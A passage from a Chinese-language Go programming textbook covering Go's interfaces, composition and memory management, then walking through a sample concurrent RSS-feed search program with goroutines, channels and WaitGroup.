复用所有的功能。其他语言也能使用组合,但是不得不和继承绑在一起使用,结果使整个用法非 常复杂,很难使用。在 Go 语言中,一个类型由其他更微小的类型组合而成,避免了传统的基于 继承的模型。 另外,Go 语言还具有独特的接口实现机制,允许用户对行为进行建模,而不是对类型进行 建模。在 Go 语言中,不需要声明某个类型实现了某个接口,编译器会判断一个类型的实例是否 符合正在使用的接口。Go 标准库里的很多接口都非常简单,只开放几个函数。从实践上讲,尤 其对那些使用类似 Java 的面向对象语言的人来说,需要一些时间才能习惯这个特性。 1.类型简单 Go 语言不仅有类似 int 和 string 这样的内置类型,还支持用户定义的类型。在 Go 语言 中,用户定义的类型通常包含一组带类型的字段,用于存储数据。Go 语言的用户定义的类型看 起来和 C 语言的结构很像,用起来也很相似。不过 Go 语言的类型可以声明操作该类型数据的方 法。传统语言使用继承来扩展结构——Client 继承自 User,User 继承自 Entity,Go 语言与此不同, Go 开发者构建更小的类型——Customer 和 Admin,然后把这些小类型组合成更大的类型。图 1-4 展示了继承和组合之间的不同。 2.Go 接口对一组行为建模 接口用于描述类型的行为。如果一个类型的实例实现了一个接口,意味着这个实例可以执行 6 第 1 章 关于 Go 语言的介绍 一组特定的行为。你甚至不需要去声明这个实例实现某个接口,只需要实现这组行为就好。其他 的语言把这个特性叫作鸭子类型——如果它叫起来像鸭子,那它就可能是只鸭子。Go 语言的接 口也是这么做的。在 Go 语言中,如果一个类型实现了一个接口的所有方法,那么这个类型的实 例就可以存储在这个接口类型的实例中,不需要额外声明。 图 1-4 继承和组合的对比 在类似 Java 这种严格的面向对象语言中,所有的设计都围绕接口展开。在编码前,用户经 常不得不思考一个庞大的继承链。下面是一个 Java 接口的例子: interface User { public void login(); public void logout(); } 在 Java 中要实现这个接口,要求用户的类必须满足 User 接口里的所有约束,并且显式声 明这个类实现了这个接口。而 Go 语言的接口一般只会描述一个单一的动作。在 Go 语言中,最 常使用的接口之一是 io.Reader。这个接口提供了一个简单的方法,用来声明一个类型有数据 可以读取。标准库内的其他函数都能理解这个接口。这个接口的定义如下: type Reader interface { Read(p []byte) (n int, err error) } 为了实现 io.Reader 这个接口,你只需要实现一个 Read 方法,这个方法接受一个 byte 切片,返回一个整数和可能出现的错误。 这和传统的面向对象编程语言的接口系统有本质的区别。Go 语言的接口更小,只倾向于 定义一个单一的动作。实际使用中,这更有利于使用组合来复用代码。用户几乎可以给所有包 含数据的类型实现 io.Reader 接口,然后把这个类型的实例传给任意一个知道如何读取 io.Reader 的 Go 函数。 Go 语言的整个网络库都使用了 io.Reader 接口,这样可以将程序的功能和不同网络的 实现分离。这样的接口用起来有趣、优雅且自由。文件、缓冲区、套接字以及其他的数据源 都实现了 io.Reader 接口。使用同一个接口,可以高效地操作数据,而不用考虑到底数据 来自哪里。 1.1.4 内存管理 不当的内存管理会导致程序崩溃或者内存泄漏,甚至让整个操作系统崩溃。Go 语言拥有现 代化的垃圾回收机制,能帮你解决这个难题。在其他系统语言(如 C 或者 C++)中,使用内存 前要先分配这段内存,而且使用完毕后要将其释放掉。哪怕只做错了一件事,都可能导致程序崩 溃或者内存泄漏。可惜,追踪内存是否还被使用本身就是十分艰难的事情,而要想支持多线程和 高并发,更是让这件事难上加难。虽然 Go 语言的垃圾回收会有一些额外的开销,但是编程时, 能显著降低开发难度。Go 语言把无趣的内存管理交给专业的编译器去做,而让程序员专注于更 有趣的事情。 1.2 你好,Go 感受一门语言最简单的方法就是实践。让我们看看用 Go 语言如何编写经典的 Hello World!应用程序: package main import "fmt" func main() { fmt.Println("Hello world!") } 运行这个示例程序后会在屏幕上输出我们熟悉的一句话。但是怎么运行呢?无须在机器上安 装 Go 语言,在浏览器中就可以使用几乎所有 Go 语言的功能。 介绍 Go Playground Go Playground 允许在浏览器里编辑并运行 Go 语言代码。在浏览器中打开 http://play.golang.org。 浏览器里展示的代码是可编辑的(见图 1-5)。点击 Run,看看会发生什么。 可以把输出的问候文字改成别的语言。试着改动 fmt.Println()里面的文字,然后再次点 击 Run。 分享 Go 代码 Go 开发者使用 Playground 分享他们的想法,测试理论,或者调试代码。你也可以 这么做。每次使用 Playground 创建一个新程序之后,可以点击 Share 得到一个用于分享的网址。任 何人都能打开这个链接。试试 http://play.golang.org/p/EWIXicJdmz。 Go 程序都组 织成包。 import 语句用于导入外部代码。标准 库中的 fmt 包用于格式化并输出数据。 像 C 语言一样,main 函 数是程序执行的入口。 图 1-5 Go Playground 要给想要学习写东西或者寻求帮助的同事或者朋友演示某个想法时,Go Playground 是非常 好的方式。在 Go 语言的 IRC 频道、Slack 群组、邮件列表和 Go 开发者发送的无数邮件里,用户 都能看到创建、修改和分享 Go Playground 上的程序。 1.3 小结 Go 语言是现代的、快速的,带有一个强大的标准库。 Go 语言内置对并发的支持。 Go 语言使用接口作为代码复用的基础模块。 第 2 章 快速开始一个 Go 程序 本章主要内容  学习如何写一个复杂的 Go 程序  声明类型、变量、函数和方法  启动并同步操作 goroutine  使用接口写通用的代码  处理程序逻辑和错误 为了能更高效地使用语言进行编码,Go 语言有自己的哲学和编程习惯。Go 语言的设计者们 从编程效率出发设计了这门语言,但又不会丢掉访问底层程序结构的能力。设计者们通过一组最 少的关键字、内置的方法和语法,最终平衡了这两方面。Go 语言也提供了完善的标准库。标准 库提供了构建实际的基于 Web 和基于网络的程序所需的所有核心库。 让我们通过一个完整的 Go 语言程序,来看看 Go 语言是如何实现这些功能的。这个程序实 现的功能很常见,能在很多现在开发的 Go 程序里发现类似的功能。这个程序从不同的数据源拉 取数据,将数据内容与一组搜索项做对比,然后将匹配的内容显示在终端窗口。这个程序会读取 文本文件,进行网络调用,解码 XML 和 JSON 成为结构化类型数据,并且利用 Go 语言的并发 机制保证这些操作的速度。 读者可以下载本章的代码,用自己喜欢的编辑器阅读。代码存放在这个代码库: https://github.com/goinaction/code/tree/master/chapter2/sample 没必要第一次就读懂本章的所有内容,可以多读两遍。在学习时,虽然很多现代语言的概念 可以对应到 Go 语言中,Go 语言还是有一些独特的特性和风格。如果放下已经熟悉的编程语言, 用一种全新的眼光来审视 Go 语言,你会更容易理解并接受 Go 语言的特性,发现 Go 语言的优雅。 2.1 程序架构 在深入代码之前,让我们看一下程序的架构(如图 2-1 所示),看看如何在所有不同的数据 2 第 2 章 快速开始一个 Go 程序 源中搜索数据。 图 2-1 程序架构流程图 这个程序分成多个不同步骤,在多个不同的 goroutine 里运行。我们会根据流程展示代码, 从主 goroutine 开始,一直到执行搜索的 goroutine 和跟踪结果的 goroutine,最后回到主 goroutine。 首先来看一下整个项目的结构,如代码清单 2-1 所示。 代码清单 2-1 应用程序的项目结构 cd $GOPATH/src/github.com/goinaction/code/chapter2 - sample - data data.json -- 包含一组数据源 - matchers rss.go -- 搜索 rss 源的匹配器 - search default.go -- 搜索数据用的默认匹配器 feed.go -- 用于读取 json 数据文件 match.go -- 用于支持不同匹配器的接口 search.go -- 执行搜索的主控制逻辑 main.go -- 程序的入口 这个应用的代码使用了 4 个文件夹,按字母顺序列出。文件夹 data 中有一个 JSON 文档,其 内容是程序要拉取和处理的数据源。文件夹 matchers 中包含程序里用于支持搜索不同数据源的代 码。目前程序只完成了支持处理 RSS 类型的数据源的匹配器。文件夹 search 中包含使用不同匹 配器进行搜索的业务逻辑。最后,父级文件夹 sample 中有个 main.go 文件,这是整个程序的入口。 现在了解了如何组织程序的代码,可以继续探索并了解程序是如何工作的。让我们从程序的 入口开始。 2.2 main 包 程序的主入口可以在 main.go 文件里找到,如代码清单 2-2 所示。虽然这个文件只有 21 行代 码,依然有几点需要注意。 代码清单 2-2 main.go 01 package main 02 03 import ( 04 "log" 05 "os" 06 07 _ "github.com/goinaction/code/chapter2/sample/matchers" 08 "github.com/goinaction/code/chapter2/sample/search" 09 ) 10 11 // init 在 main 之前调用 12 func init() { 13 // 将日志输出到标准输出 14 log.SetOutput(os.Stdout) 15 } 16 17 // main 是整个程序的入口 18 func main() { 19 // 使用特定的项做搜索 20 search.Run("president") 21 } 每个可执行的 Go 程序都有两个明显的特征。一个特征是第 18 行声明的名为 main 的函数。 构建程序在构建可执行文件时,需要找到这个已经声明的 main 函数,把它作为程序的入口。第 二个特征是程序的第 01 行的包名 main,如代码清单 2-3 所示。 代码清单 2-3 main.go:第 01 行 01 package main 可以看到,main 函数保存在名为 main 的包里。如果 main 函数不在 main 包里,构建工 具就不会生成可执行的文件。 Go 语言的每个代码文件都属于一个包,main.go 也不例外。包这个特性对于 Go 语言来说很 重要,我们会在第 3 章中接触到更多细节。现在,只要简单了解以下内容:一个包定义一组编译 过的代码,包的名字类似命名空间,可以用来间接访问包内声明的标识符。这个特性可以把不同 包中定义的同名标识符区别开。 现在,把注意力转到 main.go 的第 03 行到第 09 行,如代码清单 2-4 所示,这里声明了所有 的导入项。 代码清单 2-4 main.go:第 03 行到第 09 行 03 import ( 04 "log" 05 "os" 06 07 _ "github.com/goinaction/code/chapter2/sample/matchers" 08 "github.com/goinaction/code/chapter2/sample/search" 09 ) 顾名思义,关键字 import 就是导入一段代码,让用户可以访问其中的标识符,如类型、函 数、常量和接口。在这个例子中,由于第 08 行的导入,main.go 里的代码就可以引用 search 包里的 Run 函数。程序的第 04 行和第 05 行导入标准库里的 log 和 os 包。 所有处于同一个文件夹里的代码文件,必须使用同一个包名。按照惯例,包和文件夹 同名。就像之前说的,一个包定义一组编译后的代码,每段代码都描述包的一部分。如果 回头去看看代码清单 2-1,可以看看第 08 行的导入是如何指定那个项目里名叫 search 的 文件夹的。 读者可能注意到第 07 行导入 matchers 包的时候,导入的路径前面有一个下划线,如代码 清单 2-5 所示。 代码清单 2-5 main.go:第 07 行 07 _ "github.com/goinaction/code/chapter2/sample/matchers" 这个技术是为了让 Go 语言对包做初始化操作,但是并不使用包里的标识符。为了让程序的 可读性更强,Go 编译器不允许声明导入某个包却不使用。下划线让编译器接受这类导入,并且 调用对应包内的所有代码文件里定义的 init 函数。对这个程序来说,这样做的目的是调用 matchers 包中的 rss.go 代码文件里的 init 函数,注册 RSS 匹配器,以便后用。我们后面会展 示具体的工作方式。 代码文件 main.go 里也有一个 init 函数,在第 12 行到第 15 行中声明,如代码清单 2-6 所示。 代码清单 2-6 main.go:第 11 行到第 15 行 11 // init 在 main 之前调用 12 func init() { 13 // 将日志输出到标准输出 14 log.SetOutput(os.Stdout) 15 } 程序中每个代码文件里的 init 函数都会在 main 函数执行前调用。这个 init 函数将标准库 里日志类的输出,从默认的标准错误(stderr),设置为标准输出(stdout)设备。在第 7 章, 我们会进一步讨论 log 包和标准库里其他重要的包。 最后,让我们看看 main 函数第 20 行那条语句的作用,如代码清单 2-7 所示。 代码清单 2-7 main.go:第 19 行到第 20 行 19 // 使用特定的项做搜索 20 search.Run("president") 可以看到,这一行调用了 search 包里的 Run 函数。这个函数包含程序的核心业务逻辑, 需要传入一个字符串作为搜索项。一旦 Run 函数退出,程序就会终止。 现在,让我们看看 search 包里的代码。 2.3 search 包 这个程序使用的框架和业务逻辑都在 search 包里。这个包由 4 个不同的代码文件组成, 每个文件对应一个独立的职责。我们会逐步分析这个程序的逻辑,到时再说明各个代码文件的 作用。 由于整个程序都围绕匹配器来运作,我们先简单介绍一下什么是匹配器。这个程序里的匹配 器,是指包含特定信息、用于处理某类数据源的实例。在这个示例程序中有两个匹配器。框架本 身实现了一个无法获取任何信息的默认匹配器,而在 matchers 包里实现了 RSS 匹配器。RSS 匹配器知道如何获取、读入并查找 RSS 数据源。随后我们会扩展这个程序,加入能读取 JSON 文档或 CSV 文件的匹配器。我们后面会再讨论如何实现匹配器。 2.3.1 search.go 代码清单 2-8 中展示的是 search.go 代码文件的前 9 行代码。之前提到的 Run 函数就在这个 文件里。 代码清单 2-8 search/search.go:第 01 行到第 09 行 01 package search 02 03 import ( 04 "log" 05 "sync" 06 ) 07 08 // 注册用于搜索的匹配器的映射 09 var matchers = make(map[string]Matcher) 可以看到,每个代码文件都以 package 关键字开头,随后跟着包的名字。文件夹 search 下的 每个代码文件都使用 search 作为包名。第 03 行到第 06 行代码导入标准库的 log 和 sync 包。 与第三方包不同,从标准库中导入代码时,只需要给出要导入的包名。编译器查找包的时候, 总是会到 GOROOT 和 GOPATH 环境变量(如代码清单 2-9 所示)引用的位置去查找。 代码清单 2-9 GOROOT 和 GOPATH 环境变量 GOROOT="/Users/me/go" GOPATH="/Users/me/spaces/go/projects" log 包提供打印日志信息到标准输出(stdout)、标准错误(stderr)或者自定义设备的 功能。sync 包提供同步 goroutine 的功能。这个示例程序需要用到同步功能。第 09 行是全书第 一次声明一个变量,如代码清单 2-10 所示。 代码清单 2-10 search/search.go:第 08 行到第 09 行 08 // 注册用于搜索的匹配器的映射 09 var matchers = make(map[string]Matcher) 这个变量没有定义在任何函数作用域内,所以会被当成包级变量。这个变量使用关键字 var 声明,而且声明为 Matcher 类型的映射(map),这个映射以 string 类型值作为键,Matcher 类型值作为映射后的值。Matcher 类型在代码文件 matcher.go 中声明,后面再讲这个类型的用 途。这个变量声明还有一个地方要强调一下:变量名 matchers 是以小写字母开头的。 在 Go 语言里,标识符要么从包里公开,要么不从包里公开。当代码导入了一个包时,程序 可以直接访问这个包中任意一个公开的标识符。这些标识符以大写字母开头。以小写字母开头的 标识符是不公开的,不能被其他包中的代码直接访问。但是,其他包可以间接访问不公开的标识 符。例如,一个函数可以返回一个未公开类型的值,那么这个函数的任何调用者,哪怕调用者不 是在这个包里声明的,都可以访问这个值。 这行变量声明还使用赋值运算符和特殊的内置函数 make 初始化了变量,如代码清单 2-11 所示。 代码清单 2-11 构建一个映射 make(map[string]Matcher) map 是 Go 语言里的一个引用类型,需要使用 make 来构造。如果不先构造 map 并将构造后 的值赋值给变量,会在试图使用这个 map 变量时收到出错信息。这是因为 map 变量默认的零值 是 nil。在第 4 章我们会进一步了解关于映射的细节。 在 Go 语言中,所有变量都被初始化为其零值。对于数值类型,零值是 0;对于字符串类型, 零值是空字符串;对于布尔类型,零值是 false;对于指针,零值是 nil。对于引用类型来说, 所引用的底层数据结构会被初始化为对应的零值。但是被声明为其零值的引用类型的变量,会返 回 nil 作为其值。 现在,让我们看看之前在 main 函数中调用的 Run 函数的内容,如代码清单 2-12 所示。 代码清单 2-12 search/search.go:第 11 行到第 57 行 11 // Run 执行搜索逻辑 12 func Run(searchTerm string) { 13 // 获取需要搜索的数据源列表 14 feeds, err := RetrieveFeeds() 15 if err != nil { 16 log.Fatal(err) 17 } 18 19 // 创建一个无缓冲的通道,接收匹配后的结果 20 results := make(chan *Result) 21 22 // 构造一个 waitGroup,以便处理所有的数据源 23 var waitGroup sync.WaitGroup 24 25 // 设置需要等待处理 26 // 每个数据源的 goroutine 的数量 27 waitGroup.Add(len(feeds)) 28 29 // 为每个数据源启动一个 goroutine 来查找结果 30 for _, feed := range feeds { 31 // 获取一个匹配器用于查找 32 matcher, exists := matchers[feed.Type] 33 if !exists { 34 matcher = matchers["default"] 35 } 36 37 // 启动一个 goroutine 来执行搜索 38 go func(matcher Matcher, feed *Feed) { 39 Match(matcher, feed, searchTerm, results) 40 waitGroup.Done() 41 }(matcher, feed) 42 } 43 44 // 启动一个 goroutine 来监控是否所有的工作都做完了 45 go func() { 46 // 等候所有任务完成 47 waitGroup.Wait() 48 49 // 用关闭通道的方式,通知 Display 函数 50 // 可以退出程序了 51 close(results) 52 }() 53 54 // 启动函数,显示返回的结果,并且 55 // 在最后一个结果显示完后返回 56 Display(results) 57 } Run 函数包括了这个程序最主要的控制逻辑。这段代码很好地展示了如何组织 Go 程序的代码, 以便正确地并发启动和同步 goroutine。先来一步一步考察整个逻辑,再考察每步实现代码的细节。 先来看看 Run 函数是怎么定义的,如代码清单 2-13 所示。 代码清单 2-13 search/search.go:第 11 行到第 12 行 11 // Run 执行搜索逻辑 12 func Run(searchTerm string) { Go 语言使用关键字 func 声明函数,关键字后面紧跟着函数名、参数以及返回值。对于 Run 这个函数来说,只有一个参数,是 string 类型的,名叫 searchTerm。这个参数是 Run 函数 要搜索的搜索项,如果回头看看 main 函数(如代码清单 2-14 所示),可以看到如何传递这个搜 索项。 代码清单 2-14 main.go:第 17 行到第 21 行 17 // main 是整个程序的入口 18 func main() { 19 // 使用特定的项做搜索 20 search.Run("president") 21 } Run 函数做的第一件事情就是获取数据源 feeds 列表。这些数据源从互联网上抓取数据, 之后对数据使用特定的搜索项进行匹配,如代码清单 2-15 所示。 代码清单 2-15 search/search.go:第 13 行到第 17 行 13 // 获取需要搜索的数据源列表 14 feeds, err := RetrieveFeeds() 15 if err != nil { 16 log.Fatal(err) 17 } 这里有几个值得注意的重要概念。第 14 行调用了 search 包的 RetrieveFeeds 函数。 这个函数返回两个值。第一个返回值是一组 Feed 类型的切片。切片是一种实现了一个动态数 组的引用类型。在 Go 语言里可以用切片来操作一组数据。第 4 章会进一步深入了解有关切片 的细节。 第二个返回值是一个错误值。在第 15 行,检查返回的值是不是真的是一个错误。如果真的 发生错误了,就会调用 log 包里的 Fatal 函数。Fatal 函数接受这个错误的值,并将这个错误 在终端窗口里输出,随后终止程序。 不仅仅是Go语言,很多语言都允许一个函数返回多个值。一般会像RetrieveFeeds函数这 样声明一个函数返回一个值和一个错误值。如果发生了错误,永远不要使用该函数返回的另一个 值 ① 这里可以看到简化变量声明运算符(:=)。这个运算符用于声明一个变量,同时给这个变量 。这时必须忽略另一个值,否则程序会产生更多的错误,甚至崩溃。 让我们仔细看看从函数返回的值是如何赋值给变量的,如代码清单 2-16 所示。 代码清单 2-16 search/search.go:第 13 行到第 14 行 13 // 获取需要搜索的数据源列表 14 feeds, err := RetrieveFeeds() ① 这个说法并不严格成立,Go 标准库中的 io.Reader.Read 方法就允许同时返回数据和错误。但是,如果是 自己实现的函数,要尽量遵守这个原则,保持含义足够明确。——译者注 赋予初始值。编译器使用函数返回值的类型来确定每个变量的类型。简化变量声明运算符只是一 种简化记法,让代码可读性更高。这个运算符声明的变量和其他使用关键字 var 声明的变量没 有任何区别。 现在我们得到了数据源列表,进入到后面的代码,如代码清单 2-17 所示。 代码清单 2-17 search/search.go:第 19 行到第 20 行 19 // 创建一个无缓冲的通道,接收匹配后的结果 20 results := make(chan *Result) 在第 20 行,我们使用内置的 make 函数创建了一个无缓冲的通道。我们使用简化变量声明 运算符,在调用 make 的同时声明并初始化该通道变量。根据经验,如果需要声明初始值为零值 的变量,应该使用 var 关键字声明变量;如果提供确切的非零值初始化变量或者使用函数返回 值创建变量,应该使用简化变量声明运算符。 在 Go 语言中,通道(channel)和映射(map)与切片(slice)一样,也是引用类型,不过 通道本身实现的是一组带类型的值,这组值用于在 goroutine 之间传递数据。通道内置同步机制, 从而保证通信安全。在第 6 章中,我们会介绍更多关于通道和 goroutine 的细节。 之后两行是为了防止程序在全部搜索执行完之前终止,如代码清单 2-18 所示。 代码清单 2-18 search/search.go:第 22 行到第 27 行 22 // 构造一个 wait group,以便处理所有的数据源 23 var waitGroup sync.WaitGroup 24 25 // 设置需要等待处理 26 // 每个数据源的 goroutine 的数量 27 waitGroup.Add(len(feeds)) 在 Go 语言中,如果 main 函数返回,整个程序也就终止了。Go 程序终止时,还会关闭所有 之前启动且还在运行的 goroutine。写并发程序的时候,最佳做法是,在 main 函数返回前,清理 并终止所有之前启动的 goroutine。编写启动和终止时的状态都很清晰的程序,有助减少 bug,防 止资源异常。 这个程序使用 sync 包的 WaitGroup 跟踪所有启动的 goroutine。非常推荐使用 WaitGroup 来 跟踪 goroutine 的工作是否完成。WaitGroup 是一个计数信号量,我们可以利用它来统计所有的 goroutine 是不是都完成了工作。 在第 23 行我们声明了一个 sync 包里的 WaitGroup 类型的变量。之后在第 27 行,我们将 WaitGroup 变量的值设置为将要启动的 goroutine 的数量。马上就能看到,我们为每个数据源都 启动了一个 goroutine 来处理数据。每个 goroutine 完成其工作后,就会递减 WaitGroup 变量的 计数值,当这个值递减到 0 时,我们就知道所有的工作都做完了。 现在让我们来看看为每个数据源启动 goroutine 的代码,如代码清单 2-19 所示。 代码清单 2-19 search/search.go:第 29 行到第 42 行 29 // 为每个数据源启动一个 goroutine 来查找结果 30 for _, feed := range feeds { 31 // 获取一个匹配器用于查找 32 matcher, exists := matchers[feed.Type] 33 if !exists { 34 matcher = matchers["default"] 35 } 36 37 // 启动一个 goroutine 来执行搜索 38 go func(matcher Matcher, feed *Feed) { 39 Match(matcher, feed, searchTerm, results) 40 waitGroup.Done() 41 }(matcher, feed) 42 } 第 30 行到第 42 行迭代之前获得的 feeds,为每个 feed 启动一个 goroutine。我们使用关 键字 for range 对 feeds 切片做迭代。关键字 range 可以用于迭代数组、字符串、切片、映 射和通道。使用 for range 迭代切片时,每次迭代会返回两个值。第一个值是迭代的元素在切 片里的索引位置,第二个值是元素值的一个副本。 如果仔细看一下第 30 行的 for range 语句,会发现再次使用了下划线标识符,如代码清 单 2-20 所示。 代码清单 2-20 search/search.go:第 29 行到第 30 行 29 // 为每个数据源启动一个 goroutine 来查找结果 30 for _, feed := range feeds { 这是第二次看到使用了下划线标识符。第一次是在 main.go 里导入 matchers 包的时候。这 次,下划线标识符的作用是占位符,占据了保存 range 调用返回的索引值的变量的位置。如果 要调用的函数返回多个值,而又不需要其中的某个值,就可以使用下划线标识符将其忽略。在我 们的例子里,我们不需要使用返回的索引值,所以就使用下划线标识符把它忽略掉。 在循环中,我们首先通过 map 查找到一个可用于处理特定数据源类型的数据的 Matcher 值, 如代码清单 2-21 所示。 代码清单 2-21 search/search.go:第 31 行到第 35 行 31 // 获取一个匹配器用于查找 32 matcher, exists := matchers[feed.Type] 33 if !exists { 34 matcher = matchers["default"] 35 } 我们还没有说过 map 里面的值是如何获得的。一会儿就会在程序初始化的时候看到如何设 置 map 里的值。在第 32 行,我们检查 map 是否含有符合数据源类型的值。查找 map 里的键时, 有两个选择:要么赋值给一个变量,要么为了精确查找,赋值给两个变量。赋值给两个变量时第 一个值和赋值给一个变量时的值一样,是 map 查找的结果值。如果指定了第二个值,就会返回 一个布尔标志,来表示查找的键是否存在于 map 里。如果这个键不存在,map 会返回其值类型 的零值作为返回值,如果这个键存在,map 会返回键所对应值的副本。 在第 33 行,我们检查这个键是否存在于 map 里。如果不存在,使用默认匹配器。这样程序 在不知道对应数据源的具体类型时,也可以执行,而不会中断。之后,启动一个 goroutine 来执 行搜索,如代码清单 2-22 所示。 代码清单 2-22 search/search.go:第 37 行到第 41 行 37 // 启动一个 goroutine 来执行搜索 38 go func(matcher Matcher, feed *Feed) { 39 Match(matcher, feed, searchTerm, results) 40 waitGroup.Done() 41 }(matcher, feed) 我们会在第 6 章进一步学习 goroutine,现在只要知道,一个 goroutine 是一个独立于其他函 数运行的函数。使用关键字 go 启动一个 goroutine,并对这个 goroutine 做并发调度。在第 38 行, 我们使用关键字 go 启动了一个匿名函数作为 goroutine。匿名函数是指没有明确声明名字的函 数。在 for range 循环里,我们为每个数据源,以 goroutine 的方式启动了一个匿名函数。这 样可以并发地独立处理每个数据源的数据。 匿名函数也可以接受声明时指定的参数。在第 38 行,我们指定匿名函数要接受两个参数, 一个类型为 Matcher,另一个是指向一个 Feed 类型值的指针。这意味着变量 feed 是一个指 针变量。指针变量可以方便地在函数之间共享数据。使用指针变量可以让函数访问并修改一个变 量的状态,而这个变量可以在其他函数甚至是其他 goroutine 的作用域里声明。 在第 41 行,matcher 和 feed 两个变量的值被传入匿名函数。在 Go 语言中,所有的变量 都以值的方式传递。因为指针变量的值是所指向的内存地址,在函数间传递指针变量,是在传递 这个地址值,所以依旧被看作以值的方式在传递。 在第 39 行到第 40 行,可以看到每个 goroutine 是如何工作的,如代码清单 2-23 所示。 代码清单 2-23 search/search.go:第 39 行到第 40 行 39 Match(matcher, feed, searchTerm, results) 40 waitGroup.Done() goroutine 做的第一件事是调用一个叫 Match 的函数,这个函数可以在 match.go 文件里找 到。Match 函数的参数是一个 Matcher 类型的值、一个指向 Feed 类型值的指针、搜索项以及 输出结果的通道。我们一会儿再看这个函数的内部细节,现在只要知道,Match 函数会搜索数 据源的数据,并将匹配结果输出到 results 通道。 一旦 Match 函数调用完毕,就会执行第 40 行的代码,递减 WaitGroup 的计数。一旦每个 goroutine 都执行调用 Match 函数和 Done 方法,程序就知道每个数据源都处理完成。调用 Done 方法这一行还有一个值得注意的细节:WaitGroup 的值没有作为参数传入匿名函数,但是匿名 函数依旧访问到了这个值。 Go 语言支持闭包,这里就应用了闭包。实际上,在匿名函数内访问 searchTerm 和 results 变量,也是通过闭包的形式访问的。因为有了闭包,函数可以直接访问到那些没有作为参数传入 的变量。匿名函数并没有拿到这些变量的副本,而是直接访问外层函数作用域中声明的这些变量 本身。因为 matcher 和 feed 变量每次调用时值不相同,所以并没有使用闭包的方式访问这两 个变量,如代码清单 2-24 所示。 代码清单 2-24 search/search.go:第 29 行到第 32 行 29 // 为每个数据源启动一个 goroutine 来查找结果 30 for _, feed := range feeds { 31 // 获取一个匹配器用于查找 32 matcher, exists := matchers[feed.Type] 可以看到,在第 30 行到第 32 行,变量 feed 和 matcher 的值会随着循环的迭代而改变。 如果我们使用闭包访问这些变量,随着外层函数里变量值的改变,内层的匿名函数也会感知到这 些改变。所有的 goroutine 都会因为闭包共享同样的变量。除非我们以函数参数的形式传值给函 数,否则绝大部分 goroutine 最终都会使用同一个 matcher 来处理同一个 feed——这个值很有 可能是 feeds 切片的最后一个值。 随着每个 goroutine 搜索工作的运行,将结果发送到 results 通道,并递减 waitGroup 的 计数,我们需要一种方法来显示所有的结果,并让 main 函数持续工作,直到完成所有的操作, 如代码清单 2-25 所示。 代码清单 2-25 search/search.go:第 44 行到第 57 行 44 // 启动一个 goroutine 来监控是否所有的工作都做完了 45 go func() { 46 // 等候所有任务完成 47 waitGroup.Wait() 48 49 // 用关闭通道的方式,通知 Display 函数 50 // 可以退出程序了 51 close(results) 52 }() 53 54 // 启动函数,显示返回的结果, 55 // 并且在最后一个结果显示完后返回 56 Display(results) 57 } 第 45 行到第 56 行的代码解释起来比较麻烦,等我们看完 search 包里的其他代码后再来解 释。我们现在只解释表面的语法,随后再来解释底层的机制。在第 45 行到第 52 行,我们以 goroutine 的方式启动了另一个匿名函数。这个匿名函数没有输入参数,使用闭包访问了 WaitGroup 和 results 变量。这个 goroutine 里面调用了 WaitGroup 的 Wait 方法。这个方法会导致 goroutine 阻塞,直到 WaitGroup 内部的计数到达 0。之后,goroutine 调用了内置的 close 函数,关闭 了通道,最终导致程序终止。 Run 函数的最后一段代码是第 56 行。这行调用了 match.go 文件里的 Display 函数。一旦 这个函数返回,程序就会终止。而之前的代码保证了所有 results 通道里的数据被处理之前, Display 函数不会返回。 2.3.2 feed.go 现在已经看过了 Run 函数,让我们继续看看 search.go 文件的第 14 行中的 RetrieveFeeds 函数调用背后的代码。这个函数读取 data.json 文件并返回数据源的切片。这些数据源会输出内容, 随后使用各自的匹配器进行搜索。代码清单 2-26 给出的是 feed.go 文件的前 8 行代码。 代码清单 2-26 feed.go:第 01 行到第 08 行 01 package search 02 03 import ( 04 "encoding/json" 05 "os" 06 ) 07 08 const dataFile = "data/data.json" 这个代码文件在 search 文件夹里,所以第 01 行声明了包的名字为 search。第 03 行到第 06 行导入了标准库中的两个包。json 包提供编解码 JSON 的功能,os 包提供访问操作系统的 功能,如读文件。 读者可能注意到了,导入 json 包的时候需要指定 encoding 路径。不考虑这个路径的话, 我们导入包的名字叫作 json。不管标准库的路径是什么样的,并不会改变包名。我们在访问 json 包内的函数时,依旧是指定 json 这个名字。 在第 08 行,我们声明了一个叫作 dataFile 的常量,使用内容是磁盘上根据相对路径指定 的数据文件名的字符串做初始化。因为 Go 编译器可以根据赋值运算符右边的值来推导类型,声 明常量的时候不需要指定类型。此外,这个常量的名称使用小写字母开头,表示它只能在 search 包内的代码里直接访问,而不暴露到包外面。 接着我们来看看 data.json 数据文件的部分内容,如代码清单 2-27 所示。 代码清单 2-27 data.json [ { "site" : "npr", "link" : "http://www.npr.org/rss/rss.php?id=1001", "type" : "rss" }, { "site" : "cnn", "link" : "http://rss.cnn.com/rss/cnn_world.rss", "type" : "rss" }, { "site" : "foxnews", "link" : "http://feeds.foxnews.com/foxnews/world?format=xml", "type" : "rss" }, { "site" : "nbcnews", "link" : "http://feeds.nbcnews.com/feeds/topstories", "type" : "rss" } ] 为了保证数据的有效性,代码清单 2-27 只选用了 4 个数据源,实际数据文件包含的数据要 比这 4 个多。数据文件包括一个 JSON 文档数组。数组的每一项都是一个 JSON 文档,包含获取 数据的网站名、数据的链接以及我们期望获得的数据类型。 这些数据文档需要解码到一个结构组成的切片里,以便我们能在程序里使用这些数据。来看 看用于解码数据文档的结构类型,如代码清单 2-28 所示。 代码清单 2-28 feed.go:第 10 行到第 15 行 10 // Feed 包含我们需要处理的数据源的信息 11 type Feed struct { 12 Name string `json:"site"` 13 URI string `json:"link"` 14 Type string `json:"type"` 15 } 在第 11 行到第 15 行,我们声明了一个名叫 Feed 的结构类型。这个类型会对外暴露。这个 类型里面声明了 3 个字段,每个字段的类型都是字符串,对应于数据文件中各个文档的不同字段。 每个字段的声明最后 ` 引号里的部分被称作标记(tag)。这个标记里描述了 JSON 解码的元数据, 用于创建 Feed 类型值的切片。每个标记将结构类型里字段对应到 JSON 文档里指定名字的字段。 现在可以看看 search.go 代码文件的第 14 行中调用的 RetrieveFeeds 函数了。这个函数读 取数据文件,并将每个 JSON 文档解码,存入一个 Feed 类型值的切片里,如代码清单 2-29 所示。 代码清单 2-29 feed.go:第 17 行到第 36 行 17 // RetrieveFeeds 读取并反序列化源数据文件 18 func RetrieveFeeds() ([]*Feed, error) { 19 // 打开文件 20 file, err := os.Open(dataFile) 21 if err != nil { 22 return nil, err 23 } 24 25 // 当函数返回时 26 // 关闭文件 27 defer file.Close() 28 29 // 将文件解码到一个切片里 30 // 这个切片的每一项是一个指向一个 Feed 